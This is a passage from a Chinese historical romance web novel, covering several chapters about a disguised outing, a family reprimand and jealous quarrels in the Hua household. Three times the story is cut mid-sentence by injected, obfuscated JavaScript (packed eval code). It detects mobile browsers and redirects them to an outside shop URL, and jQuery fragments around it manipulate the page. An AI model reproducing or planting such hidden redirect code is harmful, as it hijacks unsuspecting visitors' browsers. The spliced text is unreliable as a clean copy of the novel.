卫维扬和花瑶比较熟悉,与宝屏也算见过,只有银荷是初识。他见了银荷打扮,有些好笑。而卫维扬是个直爽的人,并不拘泥刻板,便问:“你们几位姑娘经常这样出来玩?” “今日还是头一回。”银荷不自在地看看花涛。 花涛忙说:“我不会告诉人,不过你们以后还是小心些。” 卫维扬笑道:“我家里妹妹也是贪玩,下次我找不见她,说不定就是变成弟弟了。” 说笑一阵,几人都渐渐放松,不过卫维扬和银荷是最不拘谨的两个。 卫维扬谦逊知礼,当着诸位姑娘,本来不会一味夸赞某个。但其实一见银荷,他就在心中暗叹,果然是别样山川,别样人物,不由就想要多了解她一些。这个意愿却带进了言语中,不知不觉,其他人都静默下来,只听他们说话。 卫维扬问银荷:“矴州很美吧,曲姑娘一定觉得京城多有不及。” “卫公子怎知我从矴州来?”银荷奇怪道。 “我久仰令祖父与令尊之名了。” “矴州确实是个很美的地方,有许多山。”银荷动情地说,说完,微感窘迫,又补充道,“不过,京城我也很喜欢,这里有……许多人,很好的人。” 卫维扬听懂了赞扬,愉快地笑了,又问起矴州的风物人情。其他人提到矴州,虽不至于轻视,话语中多少为她一直在那儿生活而觉惋惜。卫维扬却心向往之,认定那里山明水秀、物华天宝。银荷一生中最快乐的一段便是在矴州度过,见他感兴趣,一时忘形,兴致勃勃地说了许多。 卫维扬听得认真,间或插几句话。他风采翩翩,态度和煦,银荷总觉得不是与他头回见面,好似已熟识多年一般。 “矴州山多,所以那里的云特别好看。”银荷说,“能让人看整整一天也不厌烦。以前我家门口那条路就叫云扉巷。” “‘白云扉晚开’的云扉?” “正是。”银荷有些惊讶,他怎的一下便知道是这个“扉”,而不是“飞”字。 “如此别致名字,该是怎样的灵秀之地,真要去看看。” 银荷听说过云扉巷来历:那时由心还是稚童,有天和祖父曲慕在池边掷石子玩。曲慕念道:“投石问绿水,燕影几时回?”小由心看看映着天光云影的池塘,指着水面上漂浮的落叶,接了一句:“柳带系不住,浅舟向云扉。”曲慕听了非常喜欢,就让人把路名改作云扉巷。 矴州是因姐姐才更美啊。银荷心中一阵痛楚。 卫维扬见她神色变化,怕是勾起了她对故土的思恋,正要想几句话开解,无意中向周围望去,看见了墙上那幅大家之作,猛然间记起一事来:两月前他嫂子操持的那场诗画会,他虽最后并不十分违心地评了任姑娘为最佳,但当时看得最久的却是一个未留名之人的作品。 纸上一笔好字,一看便是临这位名家练出来的。这字体习者甚众,而真能得其风骨的极少见,想到对方竟是位年轻姑娘,他当时大为钦佩。待念了诗后,向慕之心更增,却无端感到怅然若失,想了一会儿没明白惆怅所为何来,他便再拿起画看。 不似书法,她的画技尚还浅稚,难得在带些天真野趣。画的是荷花,虽只有两株,却如野花般,有种蓬勃怒放肆意生长之感。而她的诗作却沉静哀婉,又似了悟。 论理诗画相通,初看那诗和画绝猜不出是一人所作。但他目光在两张纸上流连良久,却越发觉得于矛盾之中可见融洽——恣而不狂,哀而不伤,画中有孤寂,诗中有热情,浑然一体,相辅相成,正如铜镜的正反面一样不可分割。 说到底哪个人不是多层多面的,但他之前从未见过有人把不同的两面展现得如此微妙,既表露无遗,又隐晦莫测。他猜想着这到底是怎样一位姑娘,难得地生了想要见见这个人的冲动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16973401|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,人家既没有署名,他认为不宜专门寻究。这时,他心念一动:嫂子好像提过花家的表姑娘,那么作者正该就是这位曲姑娘。——半分不错,隽逸自然、飞扬无邪,静谧与灵动,在她身上协调一致,合二为一。 如久觅之下终得知音,卫维扬既惊且喜:“前两月我嫂子在家设会,姑娘也去了吧,姑娘诗作得好,为何不肯留名呢?” 银荷连连摇头:“那天身体有些不适,没打招呼就走了,实在很失礼。并不曾作诗,原也不会。”她说的是实话,因那诗是由心所作。卫维扬却以为她不愿作品外传,故不承认,便不再追问,想要岔开话去。 可是银荷为了显得坦荡,又因为当日误会卫维扬心怀歉疚,再加上也实在是好奇,倒愈要多谈谈不可。她问:“卫公子家里的活动真是高雅有趣,不知上次是谁最终夺魁?” “是任家的姑娘。姑娘认得吗?” “果真是她!”银荷喜道,“我和任姑娘说了几句话,一直记得。她画的是什么,卫公子可方便透露?” “任姑娘抽到的题目是‘鸟宿池边树,僧敲月下门。’” “啊,这可不好作——我画不出来。” “家妹为了好玩,给家嫂出主意,拿几本书随意去翻,凑了些题目,让姑娘见笑了。” “不是,我也觉得好玩。让我想想——”银荷举手比划着,“推是这样,而敲是这般,这二字就是在画上也得费些斟酌。——真是不好画,任姑娘可是画的我这个样子?”她微垂首半敛目,左手立于胸前,右手虚虚一握,举在头边,做出个要叩门的姿势。 卫维扬仔细看看,不禁笑道:“你这僧人的姿态学得真像,不过确实不大好画。其实任姑娘没画动作,僧人是背朝画外,立于门前。” 银荷愣了半晌,恍然大悟道:“到底是任姑娘,这下我真明白这首诗了——不光是声音,推门何尝没有声音,只是‘吱呀’一声远不如叩门的声响好听,先前我总以为,为这个缘故才用‘敲’字。 “其实还有一层——推门便是进去了,而敲门还需等待,不知后面会是什么。妙就妙在这个悬而未决。读诗的人好像也一同屏气等着。不止,天地间一切莫不如此——原本它们永远在动,而这一时,万物全都在静候。 “任姑娘真正懂诗懂画,才好捕捉到这一瞬。这正是以动写静、静中寓动之法。诗与画所以美,意义之一便在此——于亘古流动中撷一片,既是刹那,又是永恒。” 银荷大发一通议论,回过神来,发觉卫维扬用奇异的目光注视着自己,其余三人也都放下碗筷,只看着她。 她窘道:“我班门弄斧,胡说一气,你们别笑话。” “不不,”卫维扬说,“姑娘解得绝妙,我才是受教了。” 银荷脸更红,为自己的夸夸其谈不好意思,低头吃起饭来。她与卫维扬聊得高兴,还没怎么动筷子。卫维扬发觉,也感歉然,不再引她说话。 一时各人用完,花涛便赶着去会账,不一会儿进来纳罕道:“无论如何都不收钱,你们怎么和这儿老板攀上的交情,我们也跟着沾光了。” “今天刚认识。”银荷答。恰巧这时青梅碧桃端了茶来,银荷向她们笑道:“你们饭钱都不收,以后可真不敢再来了。” “过几天河鲜上了,可一定要来啊。”碧桃说。 “今日委屈诸位,未能尽兴,务请下次再来。”青梅道。她二人伺候姑娘们妆束停当,送至楼下。 卫维扬本想和花涛一道陪几位姑娘回府,想了想终是不大合适,几人遂在酒楼门口作别。卫维扬踌躇片刻,又向银荷转来,问道:“今日和曲姑娘一见如故,可否请姑娘赐告芳名。” 银荷微微顿了下:“我叫曲由心。由心而发的由心。” “曲由心。”卫维扬轻轻念道,心中蓦然一亮。他原在忖度什么样名字方配这个人:竟是如此简单而又如何想得!其形好看,其音好听,其义——“这名字妙极。曲姑娘定能所愿皆偿,诸事由心。” 泪水涌上银荷眼眶,她拼命忍住,可是要如何才能咽下哽在喉咙的那句话。她向卫维扬一笑,转身上了马车。 卫维扬见她笑若春花,但不知为何眼中似有泪意,只觉心好象被轻轻揪了一下,想要问个究竟,却又无从开口,一时呆怔在原地。许久他方回过神来,翻身上马,心中涌动着还不及说出的万千话语。 23. 训斥 回去路上,与来时的兴奋大不相同,三人不约而同地沉默着,耳内只听到车轮声响。 平日里,银荷也常忆起由心,忧伤难过。但不知为何,今天的悲伤似乎无法排遣。她浸在自己的一团伤心之中,也就没有留意到花瑶的异样。 花瑶今日见到卫维扬,本该是意外之喜,可是…… 话要从头说起:花瑶生性腼腆,容易害羞,在人前总是沉默寡言,但这样的人往往心思格外敏感,从未与人道明的心事也往往酝酿得格外热烈。 花瑶并不认识许多外姓男子,可自从识得卫维扬,又何需再与谁人结识?她情窦初开,便将满腔心意寄托在“卫大哥”身上。 虽说从未得过对方表示青睐的一言半语,但花瑶能察觉出,卫维扬对她比对别家姑娘更偏爱些。虽然自觉配不上卫大哥,但哪能控制得住自己,只能任情丝荡漾,心里冷一阵,热一阵,总归是存了一线缥缈的希望。 直到今天,那根细线彻底断了。 卫维扬见到她,是照常的笑容可亲。现在,花瑶全明白了,那笑不是给喜爱的姑娘,是给朋友的妹妹。 卫维扬的每一个动作表情,每一种语气,她都曾在心中揣摩过数遍,如何能不知,卫大哥看谁最多都是亲切,唯独注视由心表姐的眼神,分明又是另一样。 想起他和表姐聊天的情景,花瑶一颗心咚地坠入了冰湖。她最大的心愿就是可以和卫维扬那般畅谈,为此暗自存了好些话,可是每回见到他,却又一个字都说不出来。 她想:“可不是,由心表姐长得美,心地也好,落落大方,她笑起来多么开朗、好看,谁见了能不喜欢呢?不知她是否喜欢卫大哥——当然会的,以前她对卫大哥有误解,不是一下子全解开了吗。他们两个方是才貌般配,志趣相投。我真想能一直听他们说话——将来他们成了亲,我再见卫大哥,该叫他一声表姐夫,那时他再对我笑,也不过是看在我是他妻子表妹的份上。” 想到此,花瑶恨不得插翅飞回家里,关上房门,痛痛快快哭一场,而此刻,这唯一的安慰也得不着。她缩在角落一语不发,用全身力气去止住泪水、止住嘴唇的颤抖。 三个人在车内心事沉沉,忽听外面花涛喊一声:“糟糕!” 几人忙凑到窗边问怎么回事。 花涛说:“到家了,好像是大哥、二哥、三哥在门口站着。我原想着走小门碰不着人,怎么他们都在。” 一听这话,花瑶先就吓得六神无主,宝屏跟着她一起害怕,银荷虽不惧那三个人,但知道偷偷外出之事叫家里听见,花瑶免不了要被父母训斥,而蝉影等人更不知还要受什么责罚,也着了慌。 还是花涛当机立断:“等会儿三妹和屏表妹下来,我就说带你们两个出门走走。由心表妹等车子进去了再悄悄下来吧。” 几人答应了,这便近了门前。果然花沛、花潜、花澈三人在那儿立着。 花涛跳下马,花沛上前笑道:“四弟、婶娘出门转转?” 假若真是三太太在车里,也不能一声不吭,糊弄不过去,花涛向花沛笑着,答说:“大哥,我娘在家呢。我看今日天好,请三妹、表妹去街上逛逛。” 说着,花瑶和宝屏互相扶着跳下车。 花沛见了惊讶,但也没说什么,冲她们点点头,二人如蒙大赦,赶紧钻进门去。 车夫想赶车进车房,可巧,花澈正好站在路当中,堵住了车子。车夫哪敢要他让路,只好先等着。 这边,花涛便问几位兄长准备去哪儿。花沛说:“我们刚从秦世伯家回来,在这儿站一会儿。大伯父说前日见了秦世伯,要咱们去拜望拜望。” 花涛忙道:“是我不知,秦世伯可有怪罪?” “不要紧,改日你再去罢。”花沛说。 花潜在旁笑道:“差一点儿我们也不去了。秦世伯明明是想见你和老三,让人喊你,你偏不在家,好说歹说拉上了老三,才交代过去。” 花澈高声道:“还有个人呢,怎么不下来?” 银荷见车子不动,又听他们说话闲聊,本来着急,这时花澈一开口,车外顿时鸦雀无声。银荷在心里骂花澈多管闲事卑鄙龌龊讨厌鬼,却也无法,只得挨挨蹭蹭下了车。 便见花沛沉着脸,花潜面带惊诧,那专爱挑事的祸首则一副笑嘻嘻的得意样。 花涛给银荷递了一个抚慰的眼神,刚要张口,银荷赶紧抢在前头,对花沛说:“是我想要出去玩,才撺掇了两位妹妹。本来以为无事,没想到还是被四表哥碰到了。四表哥刚才很生气,已经说了我,我怕再被骂,求四表哥帮我瞒着,也没敢下车。”说完,银荷低下头。 花沛看她一身小厮装扮从车里出来,先是震惊,接着便不知从何而来一股火气。不过,当然不能对表妹发火。花沛突然没了词。 他满脸阴沉,一声不吭,像是气狠了的模样,花涛赶紧说:“今日之事表妹有错,不过,表妹既已知错,又未出什么事,我替表妹求个情,大节下的,就免了责罚,大家高兴岂不更好?” 花沛这才明白自己生气的根源,表妹和四弟融洽默契,见了他却害怕,难道他就不近人情? 花澈在一旁笑道:“没事就好,哪有责罚。不过,一个两个眼睛都红红的,你们在外面受谁气了?”说着仔细瞅着银荷。 他倒好意思来问?就是气他! 好像是自上次马场之后,花澈变规矩了许多,虽见面时还稍嫌亲热过余,但三五日才碰上一回,也就算了。还以为他痛改了,敢情他作弄人的劲头还没完全过去呀。 “痛改”当然是根本没有,他能干什么正事,整日去酒楼…… 银荷恨不得说:“没受气,我们是去望望三表嫂。”——看他怎么答? 只是她想起对宝屏保证过绝不说,又想俞雁姑娘那么美,又能干又和气,花澈哪里配!银荷把话咽了回去,看花澈偏还假惺惺一副关切模样,气得脸都涨红了。 花沛见表妹眼圈果然发红,像是要吓哭了,心下十分不忍,又想表妹被自己兄弟几个盯着问,极是不妥,便说:“表妹先回去吧。”又对花涛说,“四弟你等一下。” 银荷有些担忧地看一眼花涛,慢慢向回走。花澈却跟上去,小声道:“下次妹妹就记得了,想出门玩,找我。” “不敢再有下次。”银荷使劲瞪他一眼,花澈得了个甜果似的,喜滋滋接了,自去听花涛说话。 花涛将事情一五一十告诉了兄长。 “和卫公子一道用饭!”花沛怒气冲冲道,“你既碰到她们,不赶紧带回来,还在外头做什么?饭铺里晓得有些什么人,会不会胡乱讲话?” “并没让闲人看到。我也是瞧着那里妥当,三妹她们又还未用饭,想着等她们吃完也不打紧。”花涛小心解释。“全怪我,大哥教训得是,以后我定谨慎。这次,是不是不必告诉老爷太太,——宝屏表妹也不常来,要是让她家太太知道了,怕又要怪罪。” “这不就是说!两个是你自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16982245|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹,一个是客人,你让她们和别家公子坐一处吃饭,成什么体统?她们不晓事,你也跟着掺和。——那个卫维扬,他自己还不知会怎么想?” 花涛不由辩解:“卫大哥不是拘泥这些的人,他也断不会往外说的。再说,卫大哥不算外人,他和我父亲……”说着看到花沛瞪着他,面沉如铁,便不敢再说下去。 花潜亦帮着劝说。花澈也道:“什么大不得的,外头谁敢议论,我去找他。我再和管事说一声,下回妹妹们上街,派几个人跟着。老爷太太就不必知道了,回头有事情,都算在我头上。” 四兄弟当中,花潜和花澈年龄只差数月,他二人又比花涛长两岁,花沛则比花涛长七、八岁,是当之无愧的大哥。按说,由古至今,都是做弟弟的听哥哥的,但花沛对这三位弟弟却极和气,从来不摆兄长架子。 从花沛本人讲,他一向奉行兄友弟恭,当作表率,心念手足情深,堪为楷模。再从与三位兄弟的关系讲:花沛虽年龄居长,但花潜才是花家的长房长孙,将来要继承宗祧,很多时候,花沛心中自认,花潜说话更有份量;花澈,不用说了,最亲的同胞弟弟;而花涛呢—— 花沛幼年时,得过一场重病,险些不治,多亏三老爷寻来一张方子,救活了他。花沛念三叔活命之恩,敬他如父,对三叔的独子花涛,自然也多爱护一重。况现下三老爷不在家中,花沛自觉有责任对花涛更加关照。 刚刚,他忍不住斥责花涛几句,已是从未有过的事情,这便到了极限,再重的话是绝不能讲。然而,花沛一腔怒火还是无处发泄,这时,他便冲花澈斥道:“你又捣什么乱,净胡闹!”说罢,拂袖而去。 “这倒是怎么了,没见过大哥生这么大气。”花潜笑道,说着也走了。 花涛歉意地望向花澈:“累了三哥。” 花澈笑笑:“大哥说两句,什么打紧。” “大哥不会对老爷太太说吧。” “不会。” “那,三妹会不会着急,我让人给她说声?” “行啊,别忘了给表妹也说声。”花澈拍拍花涛肩膀,消消闲闲走开。 银荷回到屋子时,只有小朝在那儿。宝屏本是和花瑶住在一处,刚才,她们过来叫走了蝉影,一并都回去了。小朝吓得瑟瑟发抖:“姑娘别让他们撵了我出去。打我几顿都行,我受得了。” 银荷吃了一惊:“为何打你,谁说的?” “我看蝉影姐姐都害怕了。” 银荷宽慰小朝,心中却也是惴惴,恐怕蝉影受过。 刚换好衣服,宝屏的丫环丁香急急跑来报信:“没事了,刚才四公子叫人来说,大公子只说下不为例,这回就算了,要我们别慌,急着去太太跟前认了错。” 银荷方才放下心,又问花瑶,丁香说:“瑶姑娘累了歇下了,明日再来找姑娘。”说完,又匆匆而去。 这半个下午,银荷便独自坐在屋里发呆。 晚饭罢没多久,一个小丫环过来说:“大爷请表姑娘去一趟。” 小朝立马吓白了脸,紧张地问:“有没有叫三姑娘?” 那丫头摇摇头:“我不知道,大爷只要我来请表姑娘。大爷还说要是表姑娘不方便就算了。” 银荷并不很诧异,毕竟她是“主犯”。瑷宁不在家,花沛这样着急,想来还是这场玩闹闹得太过。 最好是自己全担下。银荷口里说“方便”,看小朝等人都怕得厉害,便不要她们陪同,一人跟着那丫环去了。 24. 吵嘴 银荷跟着小丫环,一径到了花沛书房。花沛似乎正等得不耐烦,来回踱着步,也没注意到有人进来。 “大表哥。”银荷招呼一声。花沛猛然转过身,惊异地望着她,仿佛不明白她为何会来。随即,他发觉那个领路的丫环正要退下,便严厉地说:“你在这里等着。” 接着他又转向银荷,微微叹口气:“表妹请坐吧。” 银荷看到他手指墙边一把椅子,低头坐了。 花沛立刻又说:“表妹今日受了委屈,我向你道歉。” 银荷没料到他这么说,惊讶地抬起头,又想花沛其实一向宽厚,不觉更加惭愧,忙起身答:“是我要请大表哥原谅,原是我做错了。大表哥向我指出来,我不会觉得委屈。” “表妹坐下吧,我还有两句话。”停了片刻,花沛开口道,“我不是想责怪你们,我是担心,瑶儿她不懂事,宝屏表妹是客人,我担心——你在这里,虽然有姐妹们相伴,毕竟不比她们有父母亲人。本来也不该我说这些,不过……望你能把我当作大哥,有什么为难之处,尽管告诉我便是。” 银荷又是内疚又是感动:“我知道表哥和嫂子一向把我当成自家妹妹,是我不好,总是做错事,害你们挂心。” 花沛勉强露出一点笑。不是自家妹妹,不完全是。他在心里非常鄙视自己。 表妹太天真了,怎么可能猜到他的念头。但她不会永远天真,一旦她心上有了什么人……会是卫维扬?想起那个人,他的心又硬起来。 “既是一家人,其它不用再说了。只是我们总有照看不到的时候,表妹自己也该多留意,慎重些。我知道你们不喜欢受拘束,不过有些事情多少还是得考虑,以免日后酿成大错。像今日就实在太冒失,万一真出了什么事情,不光老太太会难受……”花沛顿住,走到一旁。 银荷垂着头,缄口不语。 她没有父母,无人给她讲男女大防的道理。与由心在一处学习时,曲展作她们的老师,对这些话是提也不提。银荷自己倒是从书上懂得了一些,却不曾真正往心里去。 在矴州时,因为由心身体的缘故,她们很少出门,根本不认识外头的男子。但银荷作为丫环,和府里的大小男仆,自然免不了要打交道,人家看她是个小丫头,有时逗她一逗,没什么恶意,在银荷,与男子说话斗口,便也成了惯常的事。 而来京城后,所遇到的,又大多是出类拔萃、见识广博之人,银荷愿意与他们交谈,更不觉得哪里有不对。 她以为花沛的担忧,主要还是为她们三个无人陪伴出府玩耍,怕遇见歹人,这倒确实不是多虑。她还以为,花沛这番告诫,是怕将来她再顽皮,闹到老太太那里。 所以,花沛说什么,她都听着,心想,过会儿虚心接受,保证以后不再犯就是。 花沛停了片时,再开口前,先瞅站在旁边的丫环,说:“你到门外头去,不许走远。” 又隔了一会儿,花沛才说话:“表妹性子单纯,有些事情想不到那么多。卫公子也算我的旧识了,又与你四表哥常来往,往好处想,我当然希望能相信他的人品,不然若真传出什么话,对他来说没什么,男子风流也没人怪罪,到头来吃亏的还是表妹。” 银荷听明白他话里的意思,不由急了,原本的愧疚也丢开,噌地站起身,辩道:“不怪大表哥看轻我,我也知道自己行事没什么分寸。但今天的事,我们是几个朋友在一处聊天,我确信卫公子没有任何旁的意思。并非我不顾惜名誉,但若真有人无聊到要瞎议论,那也由他们去说好了,反正我们在场之人都可以问心无愧!” 花沛视而不见地看着她,除了那双闪亮的眼睛。他想,表妹激动也好,生气也罢,终归都不是为了他。他走到门边,苦笑道:“我怎会看轻你。表妹既能相信别人,为何不能信我?或许表妹将来能明白我的苦心。” 银荷见花沛语气颇无奈,又有些后悔自己话说得急躁了。她轻声说:“我知道大表哥是好意,以后我不会这样了。” “表妹不会怪我多管了你?” “不会,一点儿都不会。我很感激大表哥关心我。”银荷由衷地说,又加上一句,“偷偷出门是我的主意,和别人无关,请大表哥别责怪瑶妹妹和蝉影。” “好。”花沛点点头,把丫环叫进来,示意她送表妹回去。 之后,他走到她刚才坐过的椅子前,周围好像还留有淡淡的清香味道。花沛坐下,静静坐了良久。 第二天一早,只有宝屏一个来找银荷,说是花瑶不想动弹。 “怎么,是为昨天——不是没事了么,二伯母没知道吧?”银荷悄声问。 宝屏拿不定是要摇头还是点头:“没有。我也说没要紧,劝她半天了。她又说不是为昨个儿。” “那是为什么?” 宝屏犹豫一下说:“没事,她有时候就好闹些脾气,别管她反就好了。” 银荷也知花瑶有时喜欢闷不吭声,连她自己也这样,便不追问。 再过一日,老太太和瑷宁回到家,又是一番忙碌。宫中有不少赏赐之物,瑷宁拿来分了众姐妹,只是没见到花瑶。 “你们肯定闹别扭了吧。”瑷宁拉住银荷宝屏说,“走,先去太太那儿,我给你们开解开解。” 见过二太太,瑷宁问起花瑶,二太太皱眉说:“她说精神不好,不肯出来,屋里待着呢。” “要不要请大夫看看?”瑷宁关切道。 “看过了,没看出毛病。我看她没别的事,就是生的娇气病。”二太太埋怨说。 “可是晚上睡得不好?这个我有办法,我和蝉影说说。” “蝉影回家去了。前日沛儿罚了她一个月月银。” 瑷宁忙说:“可不是缘故在这里,大过年的怎么不奖反罚。” “和这个没干系,后来沛儿又说不罚了,是瑶儿硬要她家里去几天。恐怕原本就是瑶儿淘气闹的。唉,我是管不了她,老爷又管教太严,多亏有你和沛儿。” 瑷宁笑道:“瑶妹妹乖得很,根本不用人操心。我猜准是她们几个姑娘为什么芝麻粒的事情吵闹,声音大了些,对不对?” 银荷和宝屏支支吾吾,瑷宁便以为果真如此, “可别怪了两个曲丫头,就她们最好。”二太太疼爱地拉过银荷二人,“我真想拿瑶儿晚儿换你们两个过来就好了。” 瑷宁见二太太俨然把戚晚当作自家姑娘,心里便不舒服,再说几句就找借口要走。二太太还不肯放银荷宝屏,留她们坐着说话。 瑷宁出了二太太屋子,一转弯,又拐去花瑶那边看看。院里小丫环不知都跑何处去了,瑷宁绕到屋后,也没见着一人,心里生气,道是蝉影不在,其他丫头便不知躲到哪里犯懒,该好好教训几句。 正走过窗下,却听花瑶在屋内发脾气,哭喊着:“你向来是什么都要和我抢,我的母亲你要抢,大哥你也要抢,可是,卫公子你抢不走。你不用来试探我,我都知道——我早知道他心里没有我,但更不会有你!” 瑷宁一震,钉在原地不动。 只听屋内又有人说:“你误会我了,我哪有那个想法,我还不知自己是什么人么,卫公子在天,我在地。再说我连他面都没见过两回,只是因为你敬慕他的才华,我才跟着……” 声音不大,许多字词听不清楚,瑷宁是连听带猜,意思猜得准不准且不管它,反正自认把戚晚假惺惺的腔调补足了十二分。 瑷宁想听听花瑶还会说些什么,又感到无需再听下去,犹豫片刻,摇摇晃晃走了出来。 走过几步,风一吹,她冷静了些。花瑶年纪虽小,心思却澄明,她说戚晚的话必都是真的。 “可是,卫公子你抢不走。” 瑷宁不关心什么卫公子,她在意那个“可是”,在意“可是”前面的话。——这就是说,“母亲”和“大哥”是抢得走了? 当然,刚才不是在跟前亲耳朵听见的,“母亲”已经抢走一半了。 而做大哥的那个,更不必有疑问。 瑷宁察觉出花沛不对劲已有一段时日,是因他看她的眼神:那里面不全是温情,还有惶惑、羞愧、痛苦。 瑷宁深知,花沛那样的人,会因为无法信守誓言痛苦——不是新婚时甜蜜的誓言,她自己也不信那些,可他们毕竟一起经过了哀伤。 当初她失去了肚里的孩子,是他们唯一有过的孩子,以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995096|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概不会再有了。 她永远记得那时他说过的话。那时,他不是怜悯和仁义,而今,他却是了。 而她,不屑他的怜悯和仁义。尤其是——竟为了戚晚? 几辈子没见过女人么,一个戚晚? 夫妻俩素来是单独用晚饭,花沛随意谈些白日里碰到的新鲜事,瑷宁说笑评论,若她也出门逛过,就更有的说了——一顿饭总能吃得热热闹闹。可这一次,花沛比平时沉默许多,连宫中的事情都没有多问几句。 瑷宁见花沛只低头吃自己碗里的饭,懒懒的也不大伸筷子,便给他夹了些菜,又不经意地说道:“这两天三妹妹怎么了,今天听太太说她好像不舒服,还说你罚了蝉影,是为了什么?” 花沛咽下口里的饭,也随意答道:“不过是些小事情,三妹也大了,凡事该有个体统,蝉影还每天纵着她胡闹。我没听见三妹生病,也没责备她,只是说过一句要扣蝉影的月钱,后来也算了。” “到底是过年,姑娘们闹一闹怎么了。老太太都不许老爷管,你又何必多事?” “行了,我以后不管了。三妹怎么样,要不要紧?” “大夫说没什么要紧,不过我另外有担心的。”瑷宁停了一下,又说,“我今天听到她和她表姐吵嘴,好像是说什么抢走了卫公子。我倒不知怎么回事,你可听过?” 瑷宁说“表姐”,是指与花瑶关系最近的姨表姐戚晚,压根没想到花沛可能当成别个。而花沛,因前日的事,生了先入之见,理所当然认为花瑶与之拌嘴的人必是曲家表妹由心。 他啪一声将筷子拍在桌上。“怎样,你都听见了,还是我多管了她,看三妹可有个女孩家的样子?一个闺阁姑娘,整天把什么公子挂在嘴边,传出去不怕人笑话——什么抢不抢的,她不顾廉耻,何必拉扯上表姑娘?” 瑷宁冷冷道:“我看你犯不着说上这些重话,三妹妹还小,她不懂事,总归还有老爷太太,没人要你管教。就是再如何,她也是你亲妹妹,你为了个外人这么说她是大可不必。” 花沛也冷笑:“就因为是亲妹妹才要好好教教她,向来都是太惯着她了,要什么没有?她能小多少,论懂事就比表姑娘差远了。表姑娘才是不容易,一个‘外人’在咱们家,可诉过一句苦?况且这回还是表姑娘替三妹说话,让我别责怪了她。” “这种大方话谁不会说?”瑷宁讽道,“你也别急着替表姑娘不平,不是没人疼她。我看倒是咱家里正经姑娘反受欺负,面薄心软,哪里抢得过人家。” 花沛气得脸色发白,强捺了半晌,方说:“以后还是你多教导着三妹吧。那卫维扬是什么人物,至于一个两个的都要争?过两年老爷自会给瑶儿挑一门好亲事。我还有些事情,你早些歇息,不必等我了。”说着他便起身向外走去。 瑷宁拧着手坐在那里,看着一桌残羹冷炙,心也凉了。以前也有小争吵,但花沛从来不曾这样对她摆过脸色,不仅如此——她难道不清楚,平素花沛是如何对花瑶的?可现下就连这唯一一个亲妹妹,也都要靠边了。 还是小瞧了戚晚呀,瑷宁心头恨道。 本来,从宫里回来时,她已经想通了,如果花沛想要孩子,让他有一个就是。但戚晚绝对不行! 最讨厌就是戚晚的柔媚,恐怕男人都吃这套吧。可不嘛,她那好姨母就是例子。现在瑷宁连二太太也恨上了:自己已经做了正太太,儿女都有了,尚嫌不够,居然还弄个外甥女来,想笼络谁? 戚晚又不是贫寒孤女过不下去,以她的品貌,嫁进门当户对的殷实人家做大娘子一点儿都不难,何必巴巴跑来花家装可怜,自命是那卑微坚韧的蒲草? 两相比较,甚至郭诗钰都可爱了许多,哪怕她是大太太的亲侄女,也有办法把她拉到自己一边。而戚晚——瑷宁想起她那低眉垂目、娇娇怯怯的模样,她是如何缓缓落下眼皮,如何让人瞧不清她唇边是不是有浅浅梨涡一现——反正哪个地方肯定藏了得意之色,她恐怕是条美人蛇啊。 不过总会露出真面目的。“咱们就来瞧瞧,你看重、袒护,以为比你亲妹子‘懂事’的到底是个什么人。”瑷宁在心里对花沛说,拿起一双玉箸,又慢条斯理吃起来。 25. 灯节 因宝屏元宵一过就要回家去,花瑶舍不得她,外加小姑娘的心绪,本来是三日雨两日晴,没两天,花瑶的“毛病”全好了,仍旧和宝屏银荷三人一处玩着。 转眼到了元宵当日。老太太特意在中午设家宴,又说:“咱们自家人天天都见,不必拘泥,非得年节里凑在一处瞪眼。今晚外头有灯,小孩子出门玩玩倒好。”于是,宴后,将孙辈们召集在身边。谁料问了一圈,却无人要去玩。 瑷宁推说头疼,花沛喜静怕吵,不愿往人多地方去;映雪刚有了身子,不敢出门受挤,花潜自然也不去;花澈只说另有事情;花涛因父亲不在家,要陪着母亲,老太太也知道,没有多罗唣他。 花瑛和嫂子映雪最亲近,姐妹间倒罢了,见哥哥嫂子不去,便有些意兴阑珊;花瑶本是很想去的——倘若没有几日前的事,而现在她觉得出门看灯有何意趣,宁可在家待着;银荷也不愿去,这种时候她总是特别容易想起由心,看到热热闹闹的景象更觉难受;其他几位表姑娘亦都客气表示懒怠出门,怕挤。 只有花溯花洄两个兴致勃勃,老太太怕他们乱跑拉不住,偏不许他们去。 老太太奇道:“如今你们小孩子都不爱瞧热闹了,难得能好好玩一次,怎还不愿意?” 瑷宁笑着说:“妹妹们正是爱玩闹的时候,心里肯定都愿意去玩,只是哥哥们不说话,不好意思开口。” 老太太便板起脸:“我也是说,姑娘们好不容易去街上转转,自己又不好走动。——做哥哥的这时候不肯出面,推三阻四,要兄长来何用?” 